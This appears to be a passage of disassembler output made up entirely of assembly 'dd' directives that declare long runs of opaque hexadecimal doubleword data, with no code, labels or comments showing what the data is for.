		dd 1AD113C9h, 5C58487Bh, 0C6780421h, 88D50735h,	36006068h
		dd 0DEFD5E0Ah, 9E09E8B7h, 6CF70038h, 53CEF7Ch, 459B4825h
		dd 80B1EEBCh, 703C3F72h, 6CE93EA0h, 0ACD8F08Dh,	0C206F60h
		dd 0BBBADDh, 62A4FD50h,	99D9DB31h, 79B84958h, 85E5A912h
		dd 0C0302CE1h, 0AECF2733h, 91BD14E4h, 0A420FABCh, 34A2008Dh
		dd 497ADE6h, 91C274CBh,	0D151E89Fh, 185A79F8h, 45830053h
		dd 0F959F66Eh, 35001021h, 6F4937A9h, 19C8971Ah,	0D8182F09h
		dd 81B0299Dh, 0CDC89C1h, 0B474C412h, 24B72Fh, 9F9E54A6h
		dd 0B300AFE9h, 3BB2747Fh, 0B54B25E4h, 0C8F90809h, 64ECC52Fh
		dd 8C2C60D9h, 0EF130574h, 0BD170848h, 71E50800h, 0D84E0740h
		dd 44525B15h, 956BB120h, 0CA914C97h, 0B1BFAD80h, 0E100039Fh
		dd 0B6FD2A8Ah, 29E5F5C8h, 0D12C5739h, 3218D8h, 0F73920A9h
		dd 61CA09FDh, 0C8AC6A29h, 0FEF84425h, 35CC1F55h, 0B7DC07BAh
		dd 50F05161h, 0F52C7463h, 6F9E8302h, 0A0727E64h, 0DB98B2C4h
		dd 2CFC48E3h, 2C0E2980h, 0A9783042h, 53DBCBAh, 4061BC12h
		dd 828627EBh, 14C108A9h, 6800D254h, 638F699h, 0B4504A25h
		dd 580119A3h, 0E849C13Dh, 9084AA71h, 0BA812D77h, 0C166700Bh
		dd 0C989CC95h, 44AEC075h, 0FBECA98Eh, 0ED03F618h, 0E3D61AEBh
		dd 20A8E4D9h, 0C13F4900h, 3C7176BEh, 0EDEC9300h, 0B56F59FFh
		dd 18C07EAFh, 580A6EF4h, 0E8071185h, 0ED6A3FA5h, 0D6C7A914h
		dd 79ACBBB2h, 182579B0h, 46543C18h, 19BFBC1Ah, 0AC7B4C51h
		dd 50D8860h, 3E6EE801h,	33BC60C1h, 0A6022180h, 0F86CCF2h
		dd 0EC58B200h, 0D276C616h, 238116B7h, 34F4013Eh, 2E497F57h
		dd 28BC9C46h, 97C8E941h, 0F771E2h, 0AB28CA9h, 0AC3B86DAh
		dd 9386B01h, 5DC27075h,	0E0C4272Ah, 0A3977F34h,	12FEC124h
		dd 7E31093Eh, 432446BDh, 34CA08FFh, 0A8465E5Bh,	0C8FD6400h
		dd 8D4BC5EAh, 0CDF7CE04h, 0C805159h, 9F2F4801h,	7A9F839h
		dd 0C69073Bh, 0B8DC902Ch, 41274100h, 6A988A84h,	8A66C86Ch
		dd 3F23201Ch, 0FB5E0B97h, 0AE00885Ah, 304DF97Eh, 905DC847h
		dd 7C245222h, 65821E02h, 94F944F9h, 8216A161h, 304FB30h
		dd 61093D0Eh, 1AB2AFBBh, 0CBE41065h, 0E0162060h, 0AF247704h
		dd 0B0F854FAh, 0C8CB3780h, 0B227B3F9h, 0EEA67025h, 52030E5Eh
		dd 950082D5h, 0B98DCC9Ah, 6690E21Fh, 8121A940h,	4D647C6h
		dd 65093B49h, 6C3EBE01h, 5801CD23h, 7C5CF048h, 0D12702Dh
		dd 0B258E351h, 0B94F30D9h, 7D59C300h, 0E90AD41Fh, 0C2D34E0Dh
		dd 6464C16Ch, 77712D00h, 18EFFB2Bh, 0BE9E0019h,	4D7F0D0Ch
		dd 9C283972h, 0B797B8FEh, 8ECF0BE4h, 3D8AC0A0h,	6D95557Bh
		dd 0C8F5C014h, 2D1205C1h, 0D4B80EF1h, 0E52CC0DCh, 0E613D19Ch
		dd 0BB6C583Ah, 8A24B50h, 2E17BE01h, 73519698h, 3066A2D8h
		dd 0BA5B18E8h, 0DCF71C80h, 4DAF1819h, 7C0E1007h, 5BD3FCA8h
		dd 6C00CFE0h, 8A753198h, 27A2A70h, 0A1CE17A4h, 7C51E81Dh
		dd 818ADD9h, 8AE3EC00h,	0D0B26912h, 85363A4Dh, 0AC297C15h
		dd 0C1A8DA4Fh, 830F5BCDh, 0D68856EEh, 301D1E00h, 0DDD049C4h
		dd 1058B279h, 573F5CDh,	0AAEDD8B4h, 408D28C8h, 994EAE6Ch
		dd 10AB3C09h, 0BE16344h, 0A5E9D5E5h, 27355060h,	36C5182h
		dd 87B1D1F6h, 0D8C12198h, 4680E900h, 0F9D46E03h, 3884971Dh
		dd 0D64E83Eh, 618DBF7Fh, 55AC052Bh, 50FCF878h, 0FE3CBA88h
		dd 93E19BCCh, 2F285BB8h, 6C2320h, 0DDF02609h, 2D00698Fh
		dd 194AB6CFh, 0D6F6B27Eh, 0FFC6F81h, 40BE851Fh,	0FBFD3ACDh
		dd 2AFC256Dh, 0C079BCF2h, 45D70C44h, 0BCA42C4Ah, 0F0028C25h
		dd 5FD27E12h, 1500F2A8h, 987475FBh, 318FBC18h, 59742DAFh
		dd 0DAFCE4A0h, 403BD624h, 110A3820h, 0F47FFDF5h, 0EDD1139Ah
		dd 63E1C0C0h, 0E5016792h, 1F78AE19h, 91CEA60Eh,	7C4E763Ch
		dd 0E9C02BC8h, 0EBB6FB14h, 0B6063320h, 5746761Ch, 0F85E4004h
		dd 0AB008051h, 0F0017D4h, 4703CEB6h, 0B58E9A85h, 0E180D435h
		dd 8A6BA346h, 0DF3D1D1Ah, 6A1982BCh, 60702BF4h,	39D5AF0Ah
		dd 23BB85Bh, 0BD7F7882h, 4570E42Ch, 0D4E6FC7Ah,	9EE25700h
		dd 0F63BB0Eh, 0A84C964Dh, 10D12D90h, 2EA274C3h,	8E0D1F00h
		dd 1B0A373Ch, 839FE10h,	0A05FFE03h, 6FAE66A8h, 0EC37295h
		dd 4151F7A6h, 0DD68CB53h, 0A95A02E3h, 74C999D5h, 0F9DCC09Eh
		dd 0F0B0D14Bh, 0E0304CC4h, 2C8C65E8h, 0F632E5h,	0C28BBC74h
		dd 409CA31h, 0F19B6F7Eh, 18247938h, 0C7961FAAh,	826930A9h
		dd 8512CABDh, 0A024F90Fh, 54BC10FCh, 1DF2008Ch,	3437CA49h
		dd 7825BDC1h, 0BA183558h, 0FC156000h, 0CC21CF33h, 92375A09h
		dd 58E8D32Bh, 3500752Dh, 0DD66AD7Ch, 2F677B2h, 6A2E848Eh
		dd 0B5755B1Eh, 4BEA8078h, 0D83AC2E7h, 9FB4AA0Bh, 84C4E6h
		dd 8922A769h, 3CD0082Ch, 3E3FD700h, 0D3A1CD7Fh,	295660A9h
		dd 3753B925h, 7B55BA04h, 0E4BCD211h, 268C25BCh,	0E7396E2h
		dd 6782FD35h, 28C4C1CEh, 0E09A1090h, 4C0405F7h,	74A4F15Eh
		dd 0B6861C93h, 7A9704D4h, 0B254859Ch, 3159F2A4h, 0E008CD4Ah
		dd 5C4CA7BDh, 282C10C0h, 0F98DB702h, 18D8F46Dh,	7F548F02h
		dd 705280h, 0FDA4E2D4h,	20F9BFE4h, 80B60C6Ch, 0D2282F80h
		dd 0EAA7EAFh, 4950FBC7h, 4736B760h, 48E4587Fh, 2DF422B7h
		dd 41B4D4F8h, 5418CB2h,	554B481Fh, 940820B8h, 124E650Ch
		dd 0EC1BF1D0h, 32305550h
		dd 3059F2A0h, 0E6FEFC25h, 0AC7C8404h, 2C80ABFBh, 0BF884270h
		dd 0BD1B7485h, 5B874h, 3F8C82E6h, 0AD9F5BF2h, 0F362C300h
		dd 991BB849h, 0B1AE1040h, 48C92D06h, 160E0480h,	0A0C1E207h
		dd 7A06A220h, 1ABF7E1Fh, 8FB90380h, 0E421C72Bh,	0C5C068A3h
		dd 510135C2h, 0B554D662h, 898EE7Ah, 0DABA21F1h,	50CE3500h
		dd 318F0B40h, 0ADA80608h, 98EFA92Ah, 3D922D00h,	4668F032h
		dd 0E539C00Dh, 0B7F8CB4Bh, 95249CFEh, 83396F9h,	0EE210E1Ch
		dd 0F641F8C3h, 0E962B16Dh, 5000F3A3h, 14FEF922h, 80FAD1F4h
		dd 2C6566BCh, 83039239h, 0D072D3FCh, 35F754Eh, 0B32FB41h
		dd 1818F44Dh, 1689CA21h, 1C8A00A2h, 13EE4CB0h, 0D37E7FF1h
		dd 0E4373900h, 41AA8E42h, 223800FEh, 0F1BC4B7Ch, 64A44868h
		dd 0BDF8CD04h, 362CC92h, 0F8C5E820h, 1430302h, 798D45E1h
		dd 652B1800h, 0AC0E2130h, 0A5C300ABh, 461BC531h, 0C7061697h
		dd 0FBB50B92h, 24E028B0h, 24946A0h, 92B2F8C0h, 100231B4h
		dd 1F8B8EBh, 0D25DAEA8h, 0ED6BFD01h, 7B9851EDh,	95F11223h
		dd 8301912Ch, 0AB9A1EA6h, 0E1EF9BD2h, 0B4506566h, 0E367FD9h
		dd 0B3B03A2Eh, 0F15A7246h, 0FECBF700h, 6CA08158h, 189D7C6Ah
		dd 217473B5h, 241E5148h, 0D946FFC2h, 6009F72Fh,	49A8218Bh
		dd 58002324h, 9BE17612h, 3E5E38B4h, 93033F2Ah, 0E656E040h
		dd 0F26C8905h, 0A016D5B1h, 0C90CA6E8h, 64E9E021h, 0A659C8EBh
		dd 55C0AB01h, 725BFC1Dh, 30A42CF4h, 0D429E222h,	24009BF6h
		dd 61860F6Dh, 9FDC718h,	0C52B8CF8h, 35C09430h, 0C6624F11h
		dd 0A480CB88h, 7BA635D8h, 6C780162h, 9DEBA517h,	0C9A08AEDh
		dd 7E88CCF9h, 790B823Ah, 8820E73Fh, 14C3FDC4h, 1CF2649Bh
		dd 0D9E55F02h, 9081B710h, 0CCBF9968h, 890602CDh, 0B93A744Fh
		dd 21836308h, 6A98B777h, 6429C384h, 0DB1124E2h,	0CF62BD8Eh
		dd 8D31B902h, 0CCB57911h, 7A00AF3Bh, 4331ECB1h,	14E7D53Ch
		dd 0C05EDEAEh, 9D026405h, 23301FE2h, 0CAC4B61Ch, 8E628102h
		dd 60A68E29h, 298208F9h, 624C00A7h, 853E88FEh, 0F5340390h
		dd 960058CAh, 0DC6918B5h, 6C79000Ah, 0B0E09A12h, 86063F8Bh
		dd 5052AE02h, 0FA630190h, 0BC5FD20Dh, 2F33F4B3h, 66102B00h
		dd 8FA46B91h, 63F91DFDh, 6995381h, 91B41D34h, 86C2B906h
		dd 7818963Fh, 5CB7499Eh, 0C0244F80h, 448C44FFh,	472CB682h
		dd 26079D24h, 497C9EFAh, 8E3512FBh, 0E0940219h,	922775AAh
		dd 1F9A1C00h, 7F81C0BAh, 0AB866DFEh, 313B8200h,	6F756413h
		dd 0DB9102E9h, 97E047B8h, 6B924881h, 0EA79D431h, 0CEC48A01h
		dd 7C8D7551h, 0C480D112h, 72A59834h, 64F3ED02h,	0C79E2669h
		dd 60FC6400h, 2647991h,	0EA4F563h, 2C675F55h, 22601E64h
		dd 3005FD92h, 0C364A966h, 8CF5940Fh, 8C4350FFh,	0B011CA7Ch
		dd 688A492h, 0F8C2ED80h, 3C50EA20h, 0CA80C128h,	0F717C07Dh
		dd 330C53F2h, 0B29B4C34h, 0BB50F80h, 0EC8029FEh, 0AB6D408h
		dd 0D9B4FF03h, 0DC1DEB32h, 88916489h, 0F8C98044h, 8CAC92B1h
		dd 0EC1F44h, 0DF2F8C1h,	513623F7h, 0E02B7C98h, 1509F893h
		dd 0CC980467h, 22763E00h, 0FB267F0Fh, 0DCFCF1h,	0A1052DE7h
		dd 21975BD4h, 86B988h, 4B75B546h, 20311D6h, 3C1A44h, 22A6F0A8h
		dd 2CD4C01Dh, 0C2DC760Eh, 6A704073h, 92BD1FDDh,	9ECB0E48h
		dd 62EBBF3Dh, 8888D80h,	28013270h, 2FFD0D9Ah, 0E8BE5B10h
		dd 4C8094C9h, 0ACFFC724h, 0B18C448Ch, 5B244402h, 0E0646C56h
		dd 0B049BF1Ch, 303A0085h, 7E2BE688h, 0E8908D55h, 9399A883h
		dd 1F3E2098h, 0BC6381F6h, 2B81048h, 717A4EA9h, 0DC44C369h
		dd 4E028E46h, 5CFFC124h, 0B3108331h, 0E8382446h, 765616A0h
		dd 44922C4Eh, 0B80FC94Dh, 3669E83h, 5FA2EFB0h, 29146400h
		dd 2F6C708Bh, 86F2587Eh, 3A7C7B0Fh, 6D840C03h, 8C0010E6h
		dd 0D70ABA87h, 33705773h, 48086BEFh, 0BA3E2160h, 7302667h
		dd 393709B9h, 0C2D50004h, 68C05883h, 0D7027C61h, 7080E979h
		dd 85AD365Bh, 700C01C4h, 831FC2Bh, 3921C047h, 0FBCEAD0Eh
		dd 99C99C78h, 64738136h, 64713085h, 650A28BEh, 0FD84ADBh
		dd 0B20AC56h, 7C757480h, 9AB591Bh, 1F802351h, 86AD3501h
		dd 501839C4h, 70D3C88h,	0B7AF37ADh, 0E36AB01Ah,	8706C06Eh
		dd 5E3ADBFAh, 28D62A70h, 2034630h, 0C482AD09h, 10483119h
		dd 1AD0138h, 99FD300Bh,	0F0A6736Bh, 866F7E8h, 7CE17DC1h
		dd 0E37A3706h, 0B5C8039h, 0E53A0FECh, 0FD778C38h, 0C0760810h
		dd 0EC033121h, 470104E4h, 0F498224Bh, 844F0CD6h, 1C152C8h
		dd 72F4AA8Ch, 85AC0020h, 7F2D302Eh, 0B30A7577h,	888780D3h
		dd 6C3A082Ah, 0B4010C55h, 30F112Ch, 0B60BBF10h,	0AE89501Eh
		dd 38089836h, 86A21h, 5E7D20BFh, 0A7A2D52Eh, 0FC1C20F9h
		dd 0BEEC9802h, 46DB16A6h, 24427E28h, 806839F3h,	0A9EBEE0Ch
		dd 57E4C1E0h, 4107B230h, 0C885F815h, 11C00E90h,	46B60ABFh
		dd 3B2206h, 0FFBF096Dh,	0C24F2D49h, 71B9D912h, 80A92808h
		dd 0E0A7E715h, 7450E2C7h, 0DC48E884h, 640D3A50h, 0E600370h
		dd 0B62309BFh, 43116Eh,	0F6BF0668h, 10E4E03h, 897B044h
		dd 15BDD60Bh, 5023A03Ah, 0BE805F1Ch, 0D37695A3h, 0AC8F0A6h
		dd 0A2CEC3FAh, 7A9F00D8h, 73D9EF12h, 5FB6A401h,	1F4FFEC4h
		dd 5EB0AC40h, 8422297Eh, 1845D1E8h, 52EB008Ah, 0A676553Dh
		dd 0C631C3E5h, 74A57840h, 30066C52h, 813EAD0Ah,	0E09CC8C4h
		dd 3AD0235h, 0D37ADFCCh, 500541DEh, 62FEC7B6h, 0ADE7C405h
		dd 4523C03Ah, 0DCEFD200h, 986048h, 0AE4C021Ah, 662CAC80h
		dd 0C3E76D1Eh, 4E704798h, 0B4BD1F0Dh, 0BFC1C52Bh, 36980035h
		dd 6C0798D8h, 80D87849h, 0E50DEC09h, 42448C28h,	0EC010033h
		dd 141DB1E9h, 0D319FA93h, 0BC684F76h, 24D22AE4h, 3C380B7Ch
		dd 5E346026h, 0F0055046h, 723BD51h, 0B0A07E81h,	12E3E8CEh
		dd 30684360h, 12A9EA26h, 3655FBAh, 4C7C2B9Ch, 0D7A42EE0h
		dd 43C3AA18h, 0B7B1C18h, 6D94D9E9h, 600B1404h, 2335BA78h
		dd 47116BD7h, 0BA7F2C00h, 0A30D535Bh, 0CB66B100h, 9AD51C6Bh
		dd 4442408Bh, 2F503FE4h, 34984FA8h, 0A8819D7Dh,	33FAB8E3h
		dd 0F38C9952h, 0F66760ACh, 3AEA042Ah, 903F1FD5h, 71E5AE70h
		dd 1ED2E60Ah, 4B128CE7h, 8C01542Ch, 80AD0B04h, 546269C4h
		dd 0AD033621h, 10584D4h, 0E4BC147Bh, 84A3F6EBh,	0B2B9B458h
		dd 0ECC22080h, 7CB13059h, 91FD1B39h, 0FF788100h, 0FECFB629h
		dd 1D80A158h, 549A3024h, 320A855h, 90604068h, 94806D2Dh
		dd 4749527Ah, 10223D8h,	0B60EBF0Dh, 69070E66h, 0B365BF05h
		dd 85FF73DDh, 22D0C508h, 80848778h, 0AD34611Ch,	8731C4F0h
		dd 0AD0C3B03h, 6A45E163h, 0D98F6DFh, 6F13C330h,	9A6342C0h
		dd 0FC0A51E2h, 2ADB0690h, 0A6297051h, 1D91BC75h, 84AD3780h
		dd 448C09C4h, 0F033A45h, 48DBFEADh, 1D7AAB59h, 2B2FA19h
		dd 5B3527B4h, 8757A880h, 4B6AF530h, 7F112891h, 12EC0480h
		dd 448C10E5h, 1C013C74h, 5DCB3EECh, 0D4E4616Dh,	30A8A833h
		dd 29736FC2h, 8C10D58Bh, 8A48FF49h, 309239Ch, 0D737BA86h
		dd 204462BCh, 0FBA7D12h, 5E81BD0Bh, 0D790025Ah,	0FB7E0172h
		dd 29BE52h, 50B2E4DCh, 0A0CFF730h, 8829DA40h, 2A011578h
		dd 0EB0CB0F2h, 464DEC3h, 0E3FC0349h, 67E46093h,	0E95B3900h
		dd 62D043AEh, 3BF80754h, 0DCE38431h, 12028D21h,	5992951Fh
		dd 2158E0A8h
		dd 0AFD300A0h, 0A0C7E1Eh, 0E4308109h, 0F02D314Ch, 98C13C05h
		dd 0FCA16180h, 8142F109h, 0FA1DB800h, 0A221F84Fh, 0C8EF05BFh
		dd 0EA632E0Ah, 115427C3h, 517D6C9h, 75C927B6h, 0B795E403h
		dd 0F4194D23h, 0B42675BCh, 7E11DCBAh, 13EC429Eh, 241C18E5h
		dd 0DE1F3Dh, 0B9B58F3Bh, 0FCB384E4h, 0CC7178h, 11C094D1h
		dd 0AE03DB67h, 0E702BD05h, 0B0C1A60Ch, 3E007C0Ah, 5F521D1Eh
		dd 3038E234h, 293F8ECBh, 0F0A0016Ah, 77AF59ABh,	0A62DF180h
		dd 0E7B27AF1h, 0BCAEAC00h, 49B9222Eh, 14EB58FDh, 0CC21FF89h
		dd 54A2F830h, 3A988184h, 0F7E0004Fh, 0CC54515Eh, 41A2D023h
		dd 7D9E30h, 5A53DE9h, 0EFC2496Dh, 0AB9AA925h, 91B49758h
		dd 1D1B8045h, 30A2D718h, 0FC487453h, 6616F583h,	7C6563CEh
		dd 5288488Eh, 5AFE33C1h, 0AA16330h, 3ABFABA8h, 80791180h
		dd 0E50CEC0Eh, 48448C20h, 0EC060032h, 0C0DD09DEh, 0D50E948Ah
		dd 471DDAC7h, 657014D1h, 12FF1C83h, 807AB6EBh, 74F07EB8h
		dd 59009096h, 0EBFCEDA0h, 1077549Ah, 3C418A44h,	885180Ah
		dd 83D734BAh, 2D4E43C4h, 7964BA47h, 371010A0h, 0D759C6EEh
		dd 65064D0h, 8BA8160h, 0C563D721h, 1310C011h, 0BB76341Ah
		dd 7AF4D012h, 300DDC22h, 716BF14h, 58383EB6h, 0BF0C006Eh
		dd 231D2E38h, 69480ABAh, 7E5A1044h, 0FDFFB204h,	0EC8B241Eh
		dd 0A7C04188h, 0B9B65991h, 88FC0000h, 0AE532730h, 892AE434h
		dd 3988B4CEh, 0C80125CAh, 0AA9EDBFAh, 92DC034h,	9BE07815h
		dd 0C63A449Dh, 0D6F9DC03h, 0C1B09BCDh, 0D7FA1A8Ah, 7AA754A0h
		dd 70F99902h, 0A053FF7Eh, 83AE36C8h, 4EA81E67h,	2DD04C0Bh
		dd 0E027F31h, 8FA2ED0Ah, 0FE8C4349h, 88965420h,	3B9C31AEh
		dd 22FF7628h, 29C68438h, 0C810CA25h, 2056C048h,	281F7623h
		dd 50854DC5h, 0BC1AB2DBh, 4444C788h, 7AF06753h,	588EED03h
		dd 3A8060E2h, 8A1D192Dh, 0ACFB2200h, 3079D80Ah,	810201EDh
		dd 63D072B6h, 0D8C7E629h, 59604744h, 0A073B5Ch,	0F2B476CAh
		dd 0BDF46F11h, 3040E0h,	6E91EF26h, 5F35A077h, 7DFC42F9h
		dd 38EC0A30h, 405CE510h, 0EC023EE0h, 0A6818000h, 590CF898h
		dd 0E78B9B5h, 2B60FD0Eh, 1E86834Bh, 45449CA7h, 626EC360h
		dd 0D43A3A4Bh, 0CD004623h, 0B2338806h, 1E4A4BF7h, 5E7064D0h
		dd 0AB004146h, 0AE5D59Ch, 0F900E912h, 0B50FAB6h, 0B9ED7B0Ch
		dd 48113B0h, 25438B50h,	4323402Eh, 3056ED02h, 4A87AF5h
		dd 4AD8EF12h, 46448AC0h, 5180B488h, 13B4D476h, 0CF6FB0E5h
		dd 0C039C898h, 0B369DDBEh, 1975F4A3h, 8EFD1500h, 0D51242CBh
		dd 0BC4106E1h, 216EAB59h, 7B70E4BBh, 614D0EACh,	0DEC95349h
		dd 0ECB41490h, 22D27825h, 762FB630h, 0F9843959h, 0C53CAFDBh
		dd 88588E0Ch, 7B82C93Ah, 0C4A770E4h, 7DF00D2h, 890ACE8Fh
		dd 0F4332EC1h, 8069C8A4h, 8BAE9B54h, 0D79209EDh, 5CC08FB2h
		dd 4708FEC0h, 1172031Dh, 0BA828005h, 945BD70Bh,	791658C0h
		dd 36D2BA02h, 22355FDh,	0A40076DFh, 0C03F9FF1h,	6F2E9158h
		dd 6B00FA6Eh, 0AEBDE715h, 1399A77Bh, 0CB0646C6h, 0CF43880Ch
		dd 5AD502C0h, 5FFE2A15h, 5032B600h, 9E146823h, 812F14B4h
		dd 0F856B840h, 543051F2h, 639F00A4h, 591DE538h,	4C98F098h
		dd 460968C4h, 55D3F907h, 0CEC22A9h, 16BF1330h, 3836B604h
		dd 0B076FDCh, 3B9F5FBFh, 66018F61h, 51BE01h, 9EDC27Fh
		dd 84572BD7h, 158874CBh, 5303E3D9h, 4F8A3E25h, 0EBE7886Ah
		dd 387561AEh, 0E5C6C480h, 81C44532h, 498FE8h, 6AC7C944h
		dd 0DCE0183Bh, 7D0E4546h, 0B6410E4Ch, 40537AFFh, 96CB5F88h
		dd 0B04E5040h, 7CE0891Ch, 4BA21C63h, 7AF3CE30h,	65C700C2h
		dd 1BAE9EF1h, 8BCFB30h,	0AC83F8ABh, 33763C9h, 7DEF55E0h
		dd 5104DBF0h, 0FEF3B436h, 0D83EC494h, 1B004223h, 0A711E5D6h
		dd 61CF02E9h, 0E47DB780h, 0EF7CF8DAh, 4D40A502h, 0E4D5F374h
		dd 78C09330h, 7D48D0E3h, 83F53D78h, 72CB450Dh, 90C05948h
		dd 76BCE858h, 9254008Ch, 47B9CCD9h, 0FF59B29Dh,	0C07C8848h
		dd 0E511EC05h, 3F830843h, 0B2F0EC1Dh, 0B500DCD5h, 80BAF372h
		dd 242EEF01h, 2538B882h, 53915417h, 0A08A0380h,	0C11EF5B4h
		dd 2CE6BF26h, 50414ACh,	58508007h, 0EFA6F4FDh, 814C48C1h
		dd 0BC20ABF9h, 3C55892Ah, 8C40E880h, 915ACF2Dh,	0DC3DD6C4h
		dd 29587900h, 905F1F0h,	654900B9h, 6040640Ch, 1EF13CDh
		dd 0DC684DF1h, 8E7FC130h, 0C0BFE721h, 189C992Dh, 8BCC4A08h
		dd 0C047C860h, 0FDC08455h, 0E0A3FF02h, 59488EC7h, 1849D920h
		dd 26610795h, 2F2AF46Eh, 0C2013964h, 0C842EDA8h, 4344A04Dh
		dd 8400360h, 4B6AF400h,	0C59DE89h, 482D4D28h, 602CB32Eh
		dd 568127B4h, 1C7518D2h, 428208DBh, 3464ACDCh, 4B59F244h
		dd 0C29441A8h, 3216E326h, 3BFA10B8h, 9064E415h,	93049400h
		dd 5A24BAEh, 616DC303h,	0B1E71AE0h, 8C437F3Ah, 5E51FED7h
		dd 0B239802Dh, 0A07F3EB5h, 9DC10D3Eh, 9C405244h, 0A2C35F3Ah
		dd 8138C245h, 4062D41Ch, 4BD97859h, 0EE01B518h,	0C2084FF6h
		dd 25C14E31h, 4072F830h, 0D313E571h, 48654202h,	41C8DCCAh
		dd 0E0FA6DC2h, 8058A324h, 0B702A67Ah, 0A9E8EADBh, 2AA890D6h
		dd 20BC014Ah, 0EED5BA81h, 0B8447860h, 0AA038C48h, 0CAEBE5A8h
		dd 0D4B83A76h, 7C47B06Bh, 97634364h, 30E037F9h,	2A401354h
		dd 4FA22D77h, 0F6C04C83h, 18043DD3h, 44D79AD5h,	5B85CB02h
		dd 0F383B8A0h, 6800F2ACh, 334547A6h, 18B6A0C7h,	914AD61Ch
		dd 157F5FA7h, 0F9EC5D00h, 0F643583Eh, 0FB0E0768h, 150CB112h
		dd 0D6BCB4B7h, 92165300h, 323A3586h, 16F572B5h,	0D0E2BF20h
		dd 92FD8AC8h, 418D3451h, 258C990h, 0A418400Ah, 1C6B2529h
		dd 98511409h, 3E1846D1h, 0AF208200h, 28D9F7A1h,	4DE3373Fh
		dd 4B476E81h, 31FA906Eh, 2100E416h, 0AE3D86D3h,	12E52807h
		dd 505332C3h, 6709A468h, 5C4D01C8h, 51566E0h, 0C4E15046h
		dd 0FA00F93Fh, 80A053BDh, 0CC807D59h, 0C0495C1Ch, 0A497DC2Dh
		dd 74844591h, 4CF6C03Ah, 3CBC14D0h, 0CD2FB661h,	62DBC78h
		dd 4611D49Dh, 0C1FE0C83h, 305426C9h, 3752A334h,	0E8F405D4h
		dd 68E112C3h, 38BC283Ch, 0E1F4008Ch, 0C2DB596Ah, 153FF5B2h
		dd 2F30F229h, 0FCA96813h, 0BEFD0014h, 0D3E8C906h, 709650FEh
		dd 243B4676h, 651074DEh, 40F0E32Eh, 39D2EF09h, 9B80936Fh
		dd 5657E021h, 4E7010Eh,	788F4EE1h, 0D62841EDh, 8840247Dh
		dd 1D00437Bh, 0A2CFF031h, 0FC8A28D8h, 0BAC02B7h, 7B2EFC81h
		dd 0E99C9CA7h, 0E7A9E0A1h, 0DFCE107Dh, 3A20D23Eh, 24623A0h
		dd 0FC4A997Ah, 454BDC5Eh, 6044E414h, 249B0BDBh,	85C51FEh
		dd 4201AD47h, 10AA59B7h, 2DF19Ch, 0FF51DBA1h, 985A58EBh
		dd 625F4423h, 4C074051h, 0F139E402h, 474A085Ch,	60F7E802h
		dd 0E9BC5EB3h, 406454C5h, 0EB7DAE60h, 88094A5Eh, 0B68D2D6h
		dd 303B26C4h, 65AAE8A3h, 7BF00A9Dh, 7A9D0064h, 0CBF941ADh
		dd 3D4BBE25h, 0E61700D8h, 83ED106Bh, 8A055300h,	0A95CFC02h
		dd 0B8E8F4E1h, 13E50944h, 709D04D8h, 74804811h,	0EAEBFA99h
		dd 0C425B8B6h, 0CC134590h, 3A4B7721h, 45EBC845h, 0A4A2C012h
		dd 0BA304FF2h, 664A3D3Bh, 19E75B00h, 50E50AC6h,	8CCB0B4Bh
		dd 0EDC053C8h, 0E39BA68Bh, 0AB6E820h, 0F59AE52Dh, 3DB78AB4h
		dd 1900BDA8h, 0F761E2AFh, 7300B696h, 0BC0FEE86h, 0BA1CA28h
		dd 6C2C7BACh, 0BF835818h
		dd 0E8B0D900h, 5AC3C287h, 0A47D0016h, 9CA83255h, 94A26D94h
		dd 834498CCh, 0CC5E5CB0h, 678C47E8h, 780B4857h,	0E80AF020h
		dd 9407E678h, 494EE305h, 72312892h, 5E489C50h, 4E007646h
		dd 81C335E7h, 0B400218Dh, 0E3A2E4B9h, 0B25085BBh, 84099720h
		dd 4BC0D44Dh, 0D34A4h, 7E6560E0h, 896D862Dh, 750A520Ch
		dd 403BE807h, 0B4001C31h, 0B48FAE5h, 9EFFFEC4h,	18982FC4h
		dd 7B3EC6EEh, 0C967C36h, 4A465Eh, 59DF828Ah, 7C51E093h
		dd 0D1C4B12Bh, 130B1841h, 44A5173h, 4448E3Ch, 14A86AC9h
		dd 28C43BCh, 8C75630Fh,	0B0676296h, 0CC604644h,	0AF0255B5h
		dd 5FAC591Dh, 0FE54687Eh, 22491E7h, 0EAE69299h,	0DE45464h
		dd 4566C0C4h, 2F5E0014h, 762358h, 2D7FB0D0h, 1509F864h
		dd 48FAC02Eh, 4006CBB0h, 0E27BEE5Ch, 465E249Eh,	0DC783E46h
		dd 0B2E3177Eh, 5A517406h, 4EC31061h, 931412ABh,	8C75543Ah
		dd 53C7EE03h, 0BA94AD49h, 97F8D042h, 5211941Dh,	19225C80h
		dd 67EECE3h, 94AEC801h,	7F7A17D3h, 99C482Fh, 0E9EF1280h
		dd 0B2E72857h, 0D86C5DE0h, 0C9030BBCh, 0B68E1366h, 0D9EFA1F7h
		dd 0E0D331D5h, 4B113316h, 0D79CC21Ah, 9C0100C4h, 3AD8C301h
		dd 0A6E8C597h, 0CA50204h, 3DD3E33Bh, 0B4368FE0h, 650BEA01h
		dd 0A9F27E06h, 6B3DC463h, 0F80E15C0h, 0C7A4AD0Ah, 5640D439h
		dd 3D1F7E1h, 0B14E8495h, 0E9D3DD7Ah, 21BE0830h,	395D990h
		dd 0D3A3279Ch, 5093B33Bh, 0F7A4D7E0h, 59C3DD00h, 0E063054Ch
		dd 162B01D2h, 3B5D51A9h, 804080A5h, 4224212Ch, 996F0334h
		dd 0D931F2D1h, 581D8180h, 71B86218h, 6957D18h, 0AED5D7B7h
		dd 563D60E0h, 1E658301h, 99887B5Ah, 8989362h, 84A021C7h
		dd 0CCCD6500h, 273DA272h, 0DEDDE96Ch, 0D5F06313h, 0DA18D991h
		dd 0A1B84E78h, 21966DD8h, 7B30E670h, 5A241065h,	829EE0ABh
		dd 0C4890065h, 0F7EB19CBh, 5C543D59h, 6200B788h, 0E2424BFCh
		dd 0C366583Ah, 0ECAFD2D8h, 0C9394115h, 976E1EACh, 0D91C88C0h
		dd 0B1F089h, 77F1F2A0h,	4C83C055h, 0E12D6503h, 3E563C81h
		dd 14017661h, 0F3ADCFD3h, 989DE9A8h, 18215E08h,	0F914008Bh
		dd 68BCFDF7h, 4C3220CEh, 3085484Dh, 0CF711487h,	5D228D46h
		dd 25E48FFCh, 60289303h, 0B0C7FB34h, 503A29C4h,	7E8460CCh
		dd 0E7F2480Bh, 449C3E79h, 69B68781h, 0CCE81ADCh, 0DAECAC58h
		dd 0D23A8219h, 0AA40FC39h, 501D941Ah, 8CD9C097h, 22657904h
		dd 0C6629B5Ah, 65809C21h, 3EF8CCh, 0E5D0D21Bh, 4C5B8B54h
